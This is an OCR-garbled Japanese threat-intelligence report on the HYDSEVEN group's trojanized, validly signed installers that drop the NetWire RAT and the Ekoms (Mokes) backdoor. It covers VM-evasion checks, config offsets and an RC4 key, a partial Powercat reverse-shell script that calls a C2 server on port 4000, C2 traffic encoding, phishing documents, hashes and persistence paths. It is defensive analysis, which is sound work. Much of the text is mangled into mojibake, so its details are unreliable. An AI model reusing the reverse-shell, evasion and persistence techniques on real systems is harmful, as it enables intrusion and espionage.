A2 04 DBEREEL T, TRERIRD C2 H—)Uh'5 NetWire ¥ Ekoms (Mokes) REESD>O-R
L. E1T0LFT,

18 https://www.qgt.io/developers/
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(const ¢

29 "StataSE.exe”lcEZFN35U>0-5HeE (—EPiREE)

BRI, COFD>O-FICEFNHRIBIRIBZARM I 20— REBNLET . Y7053 B 30
([CZRY &34, EnumDisplayDevicesW B# "z L TT 1 AT AT /\A ADZET7ZESL. T1X
TUAT AL ZC"VMware”, “VirtualBox”, “Parallels” Ve XX FHINEEFN TLBHEIHIESR
I2]1-RIEENTVET  ZHOYVI NI TYERRENIARIBIRIE L TH U O0- 92 ETUIIBE
(F. & 31 DESRT5—MWWIZANTRREN., TOJSAFIS—HETULETD.

v, &Dst, 8) )

Viware) ;

while ( Ivl );
return 1i64

30 VMware RIEZIRAMISI—R (—EbRIL)

1’ https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-enumdisplaydevicesa
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# | Authorization Error ‘ i
e

'.8-' This wersion of Stata has not been authorized to be installed on a virtual
"' machine

Flease contact support for additional information
Code: 21-lic-vm-error

OK

31 990092 {FRBRE L TRITURRICRTRESNSZ7Z5-b

(2)2017 4 10 BOEH

CORHANINES. LEEDBFIERICUIBIZET T4y )% ERLT. BAOKFEDIER Web
B4’ OS ([DGUIAADYINII 725> 0—-REEFET HU>0-RIBYINITT(EERD, Vast
Conference #h12Mt9% Web Z—7¢>JVINII7HBRAEINTVET, BIET(E. MacOS RIE
DIBDAVAM=S2ERAUREZBNTUET .

32 (. 8D WebMeeting /\wor—JEIEARD Vast Conference $#EH24H9% WebMeeting
)\ —S01—-RYA 2 JSIBAE DB BEAHERLIZEDTY . 480 WebMeeting (Cd0—RY1Z>4
SEAENSFENTVRVENDNIDET , S5, /W —JICEFNZ 7 VT -3

(WebMeeting.app) ([COWTHREIRRICHEERT 2L, 14D WebMeeting (C(F0—RY1Z>J5iEAE
DEENTORVZENDNMDFT (X 33)

wwwi~ test$ pkgutil --check-signature /Users/test/Desktop/WebMeetingSetup.pkg
Package "WebMeetingSetup.pkg":

Status: no signature

www:~ test$ pkgutil --check-signature /Users/test/Desktop/WebMeetingSetup.pkg
Package "WebMeetingSetup.pkg":
Status: signed by a certificate trusted by Mac 0S X
Certificate Chain:
. Developer ID Installer: Vast Communications LLC (R5APE4D7EK)
SHA1 fingerprint: EB CE 84 D8 99 10 38 AQ 66 84 96 AA 44 FO C4 C5 A9 DB D7 E9

. Developer ID Certification Authority
SHA1 fingerprint: 3B 16 6C 3B 7D C4 B7 51 C9 FE 2A FA B9 13 56 41 E3 88 E1

. Apple Root CA
SHA1 fingerprint: 61 1E 5B 66 2C 59 3A 08 FF 58 D1 4A E2 24 52 D1 98 DF 6C 60

32 WebMeeting /\Ysr—S 01— RY(ZVJSIAE DR (L: 4 /T:IER)
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www:~ test$ codesign -dvvv /Users/test/Deskiop/WebMeeting.app
/Users/test/Desktop/WebMeeting.app: |code object is not signed at all

webMeeting.app

Executable=/Users/test/Desktop/WebMeeting.app/Contents/Mac0S/WebMeeting

Identifier=com.webmeeting.WebMeeting

Format=app bundle with Mach-0 thin (i386)
CodeDirectory v=20200 size=145909 flags=0x0(none) hashes=7288+3 location=embedded

Hash type=shal size=20

CandidateCDHash shal=d152963ae2118316e07b44ff62a6091595a0654d

Hash choices=shal

CDHash=d152963ae2118316e07b441f62a6091595a0654d

Signature size=8546

Authority=Developer ID Application: Vast Communications LLC (R5APE4D7EK)
Authority=Developer ID Certification Authority

Authority=Apple Root CA
Timestamp=2018/02/16 6:45:29
Info.plist entries=16
TeamIdentifier=R5APE4D7EK

Sealed Resources version=2 rules=12 files=284

Internal requirements count=1 size=188

33 WebMeeting.app ®OJ— RSV J5IBAEDHR(L: 4 /T:IER)

34 (&, 1>AM=JL&NTfz WebMeeting.app O E%LEEUEEDTY  BOT7 T )r—23(C
(. IERRD) W —S(CEFENTULRL, WebMeeting.run. app.new ¥ NW.jsBIED 7)o —

ST IURENEFNTVFT

@ WebMeeting.app

2 Ecm EERRE:
280

Contents

Info.plist

MacO5

B WebMeeting

B WebMeeting.run
Resources

E app.icns

©| scripting.sdef
Versions
56.0.2924.87

nwijs Framework.framework
&, Nwijs Helper.app

E WebMeeting.app
H = EIEREREE
=1
Contents
_CodeSignature
Info.plist
MacOs
libscreen_share.dylib
libscreen_viewer.dylib
B WebMeeting
B Pkginfo
Resources
M Blue.png
cacert.pem
B empty.lproj
B en_US.aff
en_US.dic
at_gmil
M qt.conf
P webmeeting-256x256.icns
o WebMeetingConfig.xml

34 AYAM-SICEOTERMENT7IVDEERR(E: B /A:1ER)

20 https://nwijs.io
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COA)I\Yr—hBA > A M—JLEN iz WebMeeting.app & WebMeeting.run #BTWEEY . £
9. WebMeeting.app (. B 35 OIRERRRI LI, curl XV RZFIBLT. C2 H—/)Uhbs
NetWire ¥ Ekoms (Mokes) #4470 >0—-RU.ET92390>0-9T9. £k,
WebMeeting.app (C(&. B 37 OFHRZRICTRT LS. WebMeeting.run Z3£17951—-REEF
nTHEn. IVII7OFI>0- REAITLUTEITENET

35 WebMeeting.app O5U>0-51kE (—EBIR¥)

Ffz. WebMeeting.run (&, NW.js TYESNIE7 )T —23>THD. Resources JAILI FICHD.
app.nw J7q{ V&5 #HAH. WebMeeting (CSH09 20071 VBEEICT7IEALES (K 36)
app.nw J74JLE. main.html & package.json "&ENTz ZIP J7A(ILTHD. CNBI7/ILORE
([FE] 37 (TRIEBNTT . WebMeeting (CENITBIHD URL NEENTOVVDENHESRTEET

< www.conferencecalling.com/meetin '::‘
/ +

w webmeeting

Join Web Meeting

MEETING-ID:

ATTENDEE NAME:

36 Webmeeting 04 > EE
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charset="utf-3">»

src="https://www.conferencecalling.com/meeting/" style="position:
fixed; Left:0; right:8; width:180%; top:0; bottom:8;height:100%;"
nwdisable nwfaketop>
<f >

T
L

"name”: "Join the Meeting - Web Meeting”,
"main™: "main.html™,

"window": {
"min_width": |

"min_height™:

37 app.nw I7MIICEFNSIOTY (L:main.html /TF: package.json)

RE&IC. COFIO-H(CEFNZRIERIRZARIN T 2] - REBNUET, LB ULRET D
VINII7ZOT—ZEFERFEOI-RIEFENTHD. SEIDT—ATIE. VMware, Parallels Z1&4]
FREHHNEAHAFNTVET , INSORABIRIBE TIV>O-H2ETUIE S, K 38 DLSRT
5—MRYIZNFRRENE T . COTF— MRYIRCERRENTVWIAER. FETATYINII T DT —
ALFEUABTY,

Authorization Error

installed on a virtual machine
Please contact support for additional information
Code: 21-lic-vm-error

m This version of Web Meeting has not been authorized to be

OK

38 RITIS—DF75—PMRYIADHE:R
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WEINITF

HYDSEVEN (. ERETILIT7ZELT. NetWire & Ekoms (Mokes) ZIRESEFHICERAL
F9, CCTlE. CO 2 DOVNIINIT TP OIFEIOVWTBNTLED .

NetWire [CDU\TC

A9>0-5ICE2T. AU>O0-ReneI7(IL® 1 D(F World Wired Labs #thER5E9 %
NetWire?'¢IF(EN3 RAT (Remote Administration Tools) T9 (K 39) . NetWire (3.
Windows, Linux, MacOS REDVILFTZYRIA—AICTIEL. VE—MSEIRT BI26DUE— b
ST TPAIVRIE, F—OF T RERRAZ BHEREPNRESNTVET, Fz. NetWire (3. ZHEEET
—ARICERFEEN TL\BZEHHD . WEE(CERAINZT—X6Z<. —HleUT. 17V BAFORES N %E
PN2AWEE))IL—T APT332P0ERMERZS -y T IEE ) —T Carbanak*HH /(-
IBIECEAL TR EN R FireEye f1& proofpoint ft&DERETNTVET,

,’ WURlﬂ wmfﬂ |,||ﬂ$ Home Pricing Contact Latest News Client Area Q
4 wiring world for you

NetWire Basic

Our Best Selling Package

Support24/7

ANNUALLY

£ Updates $1 20

1 License /1 PC

You Can Contact Us by Ticket or Email

39 World Wired Labs #th'R559 % NetWire ® Web Y1 b

21 https://www.worldwiredlabs.com/

22 http://www.worldwiredlabs.com/documents/NetWire%20User%20Manual.pdf

23 https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.h
tml

24 https://www.proofpoint.com/us/threat-insight/post/carbanak-cybercrime-group-targets-executives-of-
financial-organizations-in-middle-east
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https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.proofpoint.com/us/threat-insight/post/carbanak-cybercrime-group-targets-executives-of-financial-organizations-in-middle-east
https://www.proofpoint.com/us/threat-insight/post/carbanak-cybercrime-group-targets-executives-of-financial-organizations-in-middle-east
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HYDSEVEN & Windows A, Linux i, MacOS MR T/ESNTz NetWire ZIRETERLTLE
9, UNU. CORETEDNT NetWire (&, EARD NetWire EEEAVKONERBHEREN S EFNT
WBIz8. CIT(E CDOHRINAXENTz NetWire DL DD DFEHEEBTUED .

(1)RC4 g5 #(Windows kiR, Linux k. MacOS ki)

NRIRAZXENTZ NetWire (F. HiBULT "hyd7ubjdi8”&VS RC4 BESH#EFHTVET (K
40) . COBESHE(E. NetWire RICEEND RC4 THESILEINL—EDI7(IL &, ZEEP
WindowAPI &% 1ES I BDIFIALET .

offset aHyd7u5jdis

mow
mow

mow

mow

mow

mow

call _MemSet

lea rdi, [rsp+

mow

mov offset aHyd7u5jdi8
call _RCASetup

40 RC4 IESH#E"hyd7u5jdi8” (L:Windows i /TF:Linux iR)
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(2)NetWire )N\—=33>(Windows hR. Linux kft. MacOS ki)

NetWire (&. #EEZBINT BN =230 7vTI M THON., &FIN-23>2(F v2.0°TY,
NetWire D/\—2a>ER(E J7/IVARICEFNTHED. K41 (F. EAROVv1.6a (0x1066100)
tvl.7a (0x1076100) ZRULEEDTY . —AT. hRAIXAXEN NetWire ([CB/N\—-3> 1B
HNEENTHD, K42 (TRILSICv1.0? (0x1000100) ERO>TVET, 2D/N—-3>D NetWire
(. 2012 FICUW-ZASNIFEARD NetWire v1.0 &3, EETETOEEAD, EARD v1.2
V1.4 REMBEN-TDELERU T, HEEDERNER D). hAIYAXEN Iz NetWire THDE
EBZEY, oo hRIYAZXENT NetWire DFETEFRHRY A XDZA(& 0x468 /N1 hSTHH, 5+ 2 (C
RISORERNSEN. COIBRETICEIELET,

[esp+18h+1pData], offset unk 41D224
% + dword ptr
- =
[esp+BCh+s], offset unk 4187D8
dword ptr [
[ +1pV
[ -
[
[

jnz

mow

lea

sub

mow ecx, offset alUser
push

call _GetUserMame

42 HAIIALXENT: NetWire DIN—-23> (&E: Windows kR /H:MacOS ki)

% https://www.worldwiredlabs.com/announcement-netwire-v2-0/
26 MacOS KRDIFTEIBEIROTA XEEAED, 0x3D4 /1 M> 0x3E4 )\ hEDEDERERLTVET,
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&2 HEBIHRO—E (Windows i)

Aty 7L

0x000 WEST

0x100 JTOF35&TE

0x200 JNZAD—R(AES BES##>—R)
0x224 RTEBIRD RC4 FES 2"
0x238 IRANID

0x24C JI-T1D

0x260 Mutex

0x280 PZ | 7AV

0x320 AA—RyTDF—% 1
0x360 AA—~yTn+—% 2 (UUID)
0x3A0 F-0J074LIN)

0x424 HIEIFY

0x440 TPANDIA LA THTE
0x464 FERC TR RS

(3)PowerCat (Windows hix)

NRAYAZEN T NetWire (L& A—=T>Y—-ATFENS Powercat?’ I (EN By hD -9y —
IVHHEHAFNTVE T, [ 43 (4. NetWire ([CEFN5 Powercat & github TZARENTLS
Powercat OJ— Rz —EBLLEUILED T, BA—THHENHERTEE T, £z, X 44 (F. Powercat
%F1T92/\vF I/ THO, O—hILR—k 4000/tcp 2FIBLT. C2 H—/N(CIRI MW 937
SRNEFNTUVBEBIERTEET,

27 https://github.com/besimorhino/powercat
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function powercat
i
parami

[alias("Client™)][string]%c="",
[@lias("Listen")}][switch]%1l=%False,
[alias("Port")][Parameter(Position=-1}][string]%p="",
[alias("Execute")][string]%e="",
[alias("ExecutePowershell™)][switch]%ep=%False,
[@lias("Relay™)][string]%r="",
[alias("UDP")}][switch]%u=%False,
[alias("dnscat2")][string]%dns="",
[alias("DNSFailureThreshold"}][int32]%dnsft=18,
[@lias("Timeout")][int32]%t=68,
[Parameter{ValueFromPipeline=%Truel)][alias{"Input™)]%i=%null,

43 Powercat O—#B1—REEE (LE:Netwire CEEh3d—R /TF: github ®1—FK)

a@echo0ffLoopCm db
db
db

db
db *
db *

44 N\vFI7AL)IIC LD Powercat DRIT
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(4)JR>RIOYTdOXFI-R (Windows ki)

HAIXAXENT NetWire (&, C2H—=)(hBoassicdD, X RIOVTE (cmd.exe) #FELT
9355, XFI>1-RIC UTF-8 (chcp 65001) ZIEEULTEITLET (X 45) . BmAMROD
v1.6 LB 28, CON—3> Tl IV RIOD T RETRIDZIER(C"chep 65001"HMEESNT
WBIENONDET , IREH(F, FTorIZINRTOCTMOXFI-R UTF-8 ¢932ET. 1-HIR
BOXFI-NAKFES(CIV RITOV T M RIES 2ENBMZEEZSNET .

aSKChcpb5081 db '
alindir db

aSSystem32Cmd_e db °

alindir

aSSystem32Cmd e db °

45 IYYRIOVT PERTROXFIYI-ROLE (k: hAHIALXNR /T :FERAR)

(5)C2 i&EfE (Windows hR. Linux iR, MacOS k)

NRIRAZENT: NetWire (£, C2 H—/NEPDERDT BBIS) y MITERIRDEDEZRABNET .
46 (3. I TIN5 C2 9 \NKET BHIHBIE/ Uy Ne LB B TY . SHHRIE. 47

[CRIBEMKRZIFEET,
oocoooooo |7fll40 00 o0 o0)d8)fa 48 9 96 f7 83 fa 78 f6 b7 .@..... H eovnn X. .

00000010 50 al ec 7a ad bl ac ba TS5 T/ 90 b5y Td TT C8 TO P..Z...]
00000020 (f2 39 62 c9 fe db b6 %9a 6e bd 9e cO fO 7a a8 cd| .9b
00000030 [do f6 ad 91 b5 60 6d ¢9  9f 3Ic df 99 a3 S5d b2 61 ..... m. .<...].a
00000040 |ae 29 e9 dl 55 2a «)..U¥

poeegeee M1 08 00 EHZI'."E de b7 Te dZ 55 51 c7 a@ a2 78] A....vN. ..UQ...p

pREEEE1E |8 6T da 42 80 68 99 e3 Te T4 9b cc 30 d7 TO de .o0.B.h.. ....08...
PREEEe20 (18 dc c3 dd 30 8F 68 e6 T4 b8 6a ec 4c a@ Gb T e N | T () B
PEEEEE36G Be e® S5e B0 cc cf 05 ec 60 3c @4 ff 63 c9 cf @5 LT ‘=..C...
pRogpeda |54 8c d9 ee 47 T...G
B 46 C2 H—)\NXETHNREE/TYPDLEE (L: HAIIL AR /T SRR
(vi.6a))
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rwkE (ex40 Eild ex4a1)
&4 IVYF (exe3: FHESR)

OSEREEAFOBN T (WIN:0xd8, ELF:0xdb, MAC:0xdd)
AESEESEOT—Y (Y-MELFEAAT L)

47 C2 Y—)\NZE{ETHHBEE) oy bORHRDEHEA

HAARAXEN Tz NetWire Tld. 5588 1 /{4 MBIy METERL, ssRIVY R(0OX7H)HEEN
TVWET, COfBEE XOR JEE (BBSH#E : 0x7c) TEES{LENTHD. ESI3LEARERAUHT
N> R"0X03"BERDFET , o, C2 Y—)HBI54 7> MIXEENZ/\Uy hoar IV RERRD
XOREE (F§S# : OXOFFFFFFE3h) THEES{tENTLEY (K1 48) . IIXT. hRIXAXEN
Jz NetWire Tl&. BARIRTIEXESN TR, OSIRIBEBOHAIFEBNONZT 52X ELET.
ZOAth, NetWire ® C2 i@EDIFICDOVTIL. Paloalto £ JOJ P TEELGERBASN TLWEI DT,
TE5%= ISR,

mow o AN ebp+arg B mov

mons d mow
monZx /] movzx

48 @HIVYRO XOR®H (£: I>J-K /F:571-K)

28 NetWire /{->3> 1.7a TlE. 0x03 TIIHC 0x99 H/(SA—HEL TRIESNFT
29 https://unit42.paloaltonetworks.com/new-release-decrypting-netwire-c2-traffic/
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Ekoms (Mokes) [CDW\T

A>O-H(CEo T HU>0—-Renfzb> 1 DOT71IUE Ekoms (Mokes) EMEENBTILIITT
9, Ekoms (Mokes) (&, F—R—RADPEET—IOOF>Y ., BEFTvIFrOEUSREDHLEE
EEFDORYRNTHD. Qt TRIFEINTLEY, Ekoms EMHENZFRLUE. WEENTOY S LEERTS
BRICFIFALIZER BN IO I MNAIC Ekoms EVIZBINSENTHND, TTHBErZINEEZE
9, X 49 (3. IWETHESRLR Ekoms (CEFEN3 018N TY.

C: /Projects/Ekoms/3rdparty/qt/win32-msvc2013/build
Z:/Ekoms/3rdparty/qt/bot-main-win32-gcc

/home/user/Projects/Ekoms/3rdparty/qt/linux-gcc-64/build
fUsersfuser/Projects/Ekoms/3rdparty/qt/macx-clang/build

49 YIIIFICEFNZIOIIIME (—H))

HYDSEVEN HIRZEET{#ES Ekoms (. Windows, Linux, MacOS RIETEMEIT2EDEIER
UTHED. FEAEDEDH UPXOTEMBENTVET , IREZFHABR ISP T. Ekoms [CDWTIE. 2016
F 1 BOHZRRIVAF—10T 073 0REIUEFHAD Dr.Web 110 Web B4 N? 3 TSI 26DEME
NSO, YILIT T OBEEEICEERNRVCENDNDELIZ, Ekoms DHEEECDNTIE, 2 (EDARSAH
SHRCARATL CLE I DT, NS00I F2TSRRIZE,

30 https://upx.github.io/

3 https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discov
ered/73503/

32 https://vms.drweb.co.jp/virus/?i=7924647

33 https://vms.drweb.co.jp/virus/?i=7938142
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https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/
https://vms.drweb.co.jp/virus/?i=7924647
https://vms.drweb.co.jp/virus/?i=7938142

SAN-IE>I-LKR-h

C24>93

ZZTlE. HYDSEVEN pMERRS3YILIIZD C2 H—NICBEBULFT ., C2 H—/NDZL(Z. B DR
2T —)\HEBEREINTHN. TOZLERAAOZEBET . IP PRUATEHAINTLELUE,
50 (. HYDSEVEN HMEZLCFIALTWE 3 DORAFT4>FH—)U (OVH. 23media GmbH.

Leaseweb Deutschland GmbH) &XIVIT7DREEMSZRUEEDTY , B, 2019 F(THERL
TUVWAIREET(E, 23media GmbH TEIEI3 IP 7RLAN C2 H—/NEUTEAINTUVEY,

‘i‘ H
Ekoms s VBScriptBot
S
— ~
e e P
< Vs A ‘,><<‘4(/,/// — L /
. ~a
91121120198 149202696 188165218177 512558

558655 942348115 4616519494 8034111113 1854968193 4616524977 1854068145 1854068192 18549.68172 1854971101
e~ Ve N =

7 — s Veee————— =

AS16276

AS28753

OVH

Leaseweb Deutschland GmbH

50 VIUI7DiEE% (—EFRE)

38

FIRliREES



SAN-IE>I-LKR-h

ZHIN-JDE=

—EDQWEZFEISHT. HYDSEVEN DEHEENDNZLKONDBEENIZRDITELL. ZOHE
ENN BEZREVCE 2R ITHORRNRTIE (BIH) Boh HBWNIZIXBOMNIEREF R
'C(atHHEE(L'Cé'CL\i’e‘/UO ZTld HYDSEVEN H%&Ufe, 71X ETr/)VEd— RYAZ>J5EEA

2FIN3 2 DOEMZBITUET .

TIAXEIT7

X 51 (3. E3BOKREODIETHALL VBAYIDZEAITIWETEDONZ Office XE  J7
WD 1 DTT, TERBDIICXEI7AINAHDSEEHTEN" DS VB LI TVBIEN IR TEET,
ExiftoolP*zFALTXETI71IRICEEN3"Language Code”t>"Code Page” k2L THO>

788 (FUIXF) HEFNTLBIENONDET,

it

o
Application for refund+~

I, | , am hereby giving my consent to jFinex Inc. to issue
bonds in electronic form equal to the total amount of funds in my personal Bitfinex account.+

1 »

, 1Table, ExtChar

B 51 Office XEI7MIICEFN3SEIBH (L: S5E1BIR /T :Exiftool DFER)

34 https://www.sno.phy.queensu.ca/~phil/exiftool/
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fDIEE TENHN T Office XEI7AI TH "0 VE"N—EEFNTHD. B 52 (TRILIIC. X
FHIOEPD IS FEBHEN"RBCKE)"TIN, ZABPHE"O0>7FE"TT. Ffz. 52 D Office X
ET7AOTONT1 =BT DL AR Grizli777"EVASXENEENTVEYS, (K 53) <D
XFEH(E. BHMRO Office RMmZFABLLIBECEIN. O TR -NZFTHAINTWVSL
Florian Wagner KA Twitter TIHREPLTVET,

Expert Appl
|
This form is processed automatically. Plec

' Names m@
Phones bLJ

| F-maila [ ]
4

A—:1f1 | X 5186 | o FE (*E) ||

[% —

52 Office XEI7IIND

a

H

b

Expert Appl

This form is processed outomatically. Plec

' Names ILLJ

Phones m«J

Fomailo [

1

A= 11 | 328 186 | f 0378 | (

sRIRHR(AE: R/EE/A:05758)

o
#

L R

i F” g
] ™
Lo

| M

i
iy

=
by

FET

|0

il
H
it

MI16MA2MNE 1322

Hu

users.

man0l

—

53 Office XEI7MNDIONFAILEFNEIXFS"Grizli777"

3» https://twitter.com/_fl01/status/743226251373060097

40


https://twitter.com/_fl01/status/743226251373060097

YAN- 2 e>d-LKR-+
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J— K9 = J5EAE
HYDSEVEN (&, YL 7(C - R4 Z2J5BAEZ (G50 RETHERLES . COBMIE. IE
HOVINIITICREMT. TFIUT RRCLZRANEEETY , IREENI— RS (2> JSAE%ZER
BIBHE AT DISIBHFENEZLNET,

IEAROYVI NI PEFESNST— RO 22 RO R STBAE 2 E5E S D
7A=Y ROTA—=S LRENST— RIAZJ5EBAEZEA IS

REOSHZFRI IO EFelH EMF sz iBA CaBsL AN 51— R/ Z
> FERREEFEITLTESS

54 (. 2016 £ 8 HZAh'S 2017 £ 9 AC3F TORIOKE TEAINZI-RY(Z T
BAETY. SBAEDY TSIV MNAICEFN 2 IBHZMHER T 3¢, O TR LERIEIRINTO
BIENDOMDET , S5, RO OEERIEFHRZ Nalog.io>* THEERI d&. 2010 FF 1 B¥(CF%
MENTRBEAMEERO/NFTARFTERALICEDNDET ([ 55) . Ffo. EFRENIAEFRZ Google ¥v
TTHAATRE. B 56 DISRFETHICHD—HFHRTHIENDNDELUIZ, COTENS, COT—RYA
ZOJEEBREICOVTIE IEROYVINITFSHENSTHBERUIEDTERL, "2.7hV"3. "0 ETESEN
IealgeEh SV EEZE T,

SRS RS !
45 | S48 |speRd| [eez | S5 [zgeRqy|| |ear | SRR | SEERMMR
wriEr  [@An||| ®=2EES [@Fao Fnlsk  [FAT -
2=IL R =L E bk [ a
ST D*}'U?,ll,ﬁ-;‘f,—' (BRI = . 24 5 5b 95 3b 83 95 c3 bb 7. c
%E%ijﬂh I | | Cmerzs [EZ2rauis shalEERSA
, w1 T [E| TRy PLAUR L sha2b6
DE%M‘}'"JJ 7 DE%HJJ:L P
D%f_% Bﬁﬁg— Elgﬁf:r% GlobalSien Extended Validati...
T & A0
AR DRSS || AR AL 21EEAME 0:28:50
|| EsheARAmRaAY Bl s [ Eshersmia 7 2018557250 1:2858
%f;f]ﬂ;ﬁﬁ)ﬁ@? [ElH2=iht sylva-nn@yaru, Sikva, LLG, Sil. -
I
CGM = Izsledovaniva i (Ejr: fysl\i"l:—anrﬂ?éam i
(0 = [zzledovaniva i ra, O = Sile, LLG
POBox = 120128 | STREET = ulitsa Kovpaka 14 L
Y S'[F{EET = Kadomcewvs L = Mizhny Moveorod E
< - MDDSSEE:’: g - missiia g = Niﬁhegorodskaya ohlast
PostalCade = 12701 PostalCade = 129128 126.14.1311602.12 = Nizhegorodskaya oblast
C = RU I =RU 13614 131160213 = -

54 J1—RYAZVJ5REDYT 1) bOHESR

36 https://en.nalog.io

37 03 73E#R5%(08.08.2001 No129-03)(SERLTLVERS 2017 4 8 A 2 BICAIE
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Short name 000 "SILVA®

Full name OBSHhESTVO S OGRANICHENNOY OTVETSTVENNOST Yu "SILVA®

Status £\ The company is liquidated

Directors Chernigina Nina Nikolaevna INN: 526200841262

OGRN 1105256000068 from 12.01.2010

INN / KPP 5256092761 / 525601001

Authorized capital 10.000 rub.

Type of activity {4?.5,|Retai| sale of other household equipment in specialised stores I

Type taxation OSN

Number of founders 1

RF region Oblast Mizhegorodskaya

Legal address 603053, Ulica Kovpaka, 1a, Oblast Nizhegorodskaya, Gorod Nizhniy novgorod
Actual address 603053, Ulica Kovpaka, 1a, Oblast Nizhegorodskaya, Gorod Nizhniy novgorod

55 J—RYAZVJIBAED Silva, LLC O&ttEsR (—Ebiki%)

ulitsa Kovpaka 1A & - EEH oJg4>

Ulitsa Kovpaka, 1a
Nizhnij Novgorod
Nizhegorodskaya oblast’
o7

> —4 ©2019 Google B& M 50m
603065 24— RICy OmRE

Gooale

56 J—RYAZJJGIAE(CEFENEEFR (Google Maps DIRFEFERLDSIA)
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54 OBICERBAEINI- RYAZJFEREREHHD. K 3 (3. WETHEAINIILIITIC
F5En. \WONDI-RYAZ JEEAE 2 ELHIED T,

R 3 WIIPIASENEI-RB(ZOJGIAE (—8PiRR)

S| INII7 d-RYL=>) (%)
b04e7cba062e23c9bbcc3b8ba38ab4da NetWire

Younty Ltd
cab584961b8292d3d075b57994883572a Downloader
80aa2d0c8c05a78487b85013c43c2143 NetWire Silva, LLC
3d9a8ad7ae2bfo9d4e4bd6381438d2b0c NetWire

Megaprom, OO0
f08d3083c19320e2202128802b7ff306 Downloader
f84d985b94e31c04b6823af150f0b96f NetWire ASRA Solutions Ltd
a549d7ca2deb4aa7f7ce46efal295e76 NetWire o

Issledovaniya i razrabotka
91099aa413722d22aa50f85794ee386¢ Ekoms
12def981952667740eb06ee91168e643 NetWire SANJ CONSULTING LTD
a5cbda7bb3864626d6251f3a8cd09cb7 Downloader NNM Dev LLC
ab235del113ee97926fb15eeaac555490 Ekoms SoftVision Development GmbH

EB&(C. HYDSEVEN OZEHREETEVZRVLED0, FIKEWSZBTUET . HYDSEVEN (.

FEIBTBNULLIICWEFON 1 DELT, IERRYINITT DAV AM-52BE T DMEZITVE

9, COIREFOL, 2018 £ 8 A(C Kaspersky Lab #thiLiR—MCERESLTLVS Lazarus OF
CEXBINT 2N EZ<HDFET, FIZ (L RIBBEBEDTE, U IBIZETI1vS DI IRE, IERYI N
ZAREULAVAN=50DFR. MacOS DEARENZEIBNFIN. RICM(CIRECEBRAI IOV
IVIIT7(FERDFT, HYDSEVEN (&, NetWire 2 Ekoms &L ENILII7ZERULEITH. SET
Lazarus B'COELIBNILIIFZERU TEEVWIREIFERTE TOER A <KETHERIDEZ TR
WBDO. #AHEEL T Lazarus WEEEO K EF %2 FIFA I 2MMOEE ) ) - TOIRITICRENT LD
LTV EIEEMEEZBNE T,

38 https://securelist.com/operation-applejeus/87553/
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R T EFEAR

WEFOICONT

WE(C(IRET Ty 20 =)L MERSN. Office XET7AIUIBHIAATE VBA 370, VINIT
POMESSHEDER. IERVINITIVZOA A M=F%BREVOEREFOMEONE T EANRE
FNFMFRELT, "RBUTRA=IUCEFNZRG TP URL (FARRARCENMRV, "FRRIC
XO0EBEMELRL", "OS 1 Office . Web JZUHREZEICRITDIRRET S "Lzt TE
BIDEZMERUET, T, IERYVINIIVDA A N=5%AETZFOICDOLTIE. Sigcheck®
W—Jl (Windows ¥i&) 1 codesign ¥R (MacOS RiB) REZFIALTIIT—2a2(CE
FNEI-RYAZ I BRLOBEEERL. I- R/ ZOJAIBAENSEFNTURWMESE. /\Wwaa
EAARHKCIERBRYINIITREDONFANS, I-RIAZ JEBRENS FN2HAE FIFIZVD
hOIPARANBRZUID— RS ZJ5EBAE OB RIEARNRZIL TORVNARDIRE. T71 2R
TR BIEFOTEHI—EBHERUTHIEZIHERELFT .

WEINDIITICONT

WEIIIIT7ELTEREINS NetWire &£ Ekoms (Mokes) (&, OS IRIB(CEUT. LLFOT7A
IWIRRCT7ANEVERR U BITUE T BB, /ERENZI7/ VA (EEITRIBCL O TERZ A gEMEN
DD ZEDT LI NICAREBRET TP DS I5E(E. /W 1fE% VirusTotal**iEént—
ERZFIFAUTIERDITAIINABE TR UET, Fo. YWILDI7ZBEEITIDHDI> b
J—H'& OS RIB(GU TERENE T,

(1) NetWire

Windows IRIBDIZES
¢ %APPDATA%/adobe/colorprofiler.exe
¢ %APPDATA%/ati/ace.exe

39 https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck

40 https://www.virustotal.com/qui/home
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* %APPDATA%/AMD/OGLCache.exe

e %APPDATA%/intel/icls.exe

o % APPDATA%/Java/lavaBeem.exe

¢ %APPDATA%/Java/javad.exe

¢ %APPDATA%/Java/jschedu.exe

¢ %APPDATA%/Macromedia/flashupd.exe

* %APPDATA%/Sun/Java/Deployment/jvmgr.exe
* %APPDATA%/Sun/Java/Deployment/jvsgr.exe
e %APPDATA%/Sun/Java/Deployment/jvm.exe
e %APPDATA%/vIc/MediaDecoder.exe

¢ %APPDATA%Unity/Prefs.exe

SEIE
F— : HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
B : LEEOFERITITAIVIIR

MacOS RIEDGZE
o $HOME/.defaults/Finder.app/Contents/MacOS/Finder

SEIEZ
$HOME/Library/LaunchAgents/com.mac.host.plist=$HOME/.defaults/Finder.app/C
ontents/MacOS/Finder

(2)Ekoms (Mokes)

Windows IRIRDIZS
¢ %APPDATA%/Skype/SkypeHelper.exe
¢ %APPDATA%/Dropbox/bin/DropboxHelper.exe
* %APPDATA%/Google/Chrome/nacl32.exe
* %APPDATA%/Google/Chrome/nacl64.exe
o %APPDATA%/Mozilla/Firefox/mozillacache.exe
* %APPDATA%/Adobe/Acrobat/AcroBroker.exe
* %APPDATA%/Hewlett-Packard/hpgcore.exe
¢ %APPDATA%/Hewlett-Packard/hpprint.exe
¢ %APPDATA%/Hewlett-Packard/hpscan.exe
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BHEIET
F— : HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
B : < EEEDOETIFAINIZ>

MacOS RIEDIHZS
e $HOME/Library/App Store/storeuserd
e $HOME/Library/App Store/storeaccountd
o $HOME/Library/com.apple.spotlight/SpotlightHelper
e $HOME/Library/com.apple.spotlight/Spotlightd
e $HOME/Library/Dock/com.apple.dock.cache
e $HOME/Library/Skype/SkypeHelper
e $HOME/Library/Skype/soagent
e $HOME/Library/Dropbox/DropboxCache
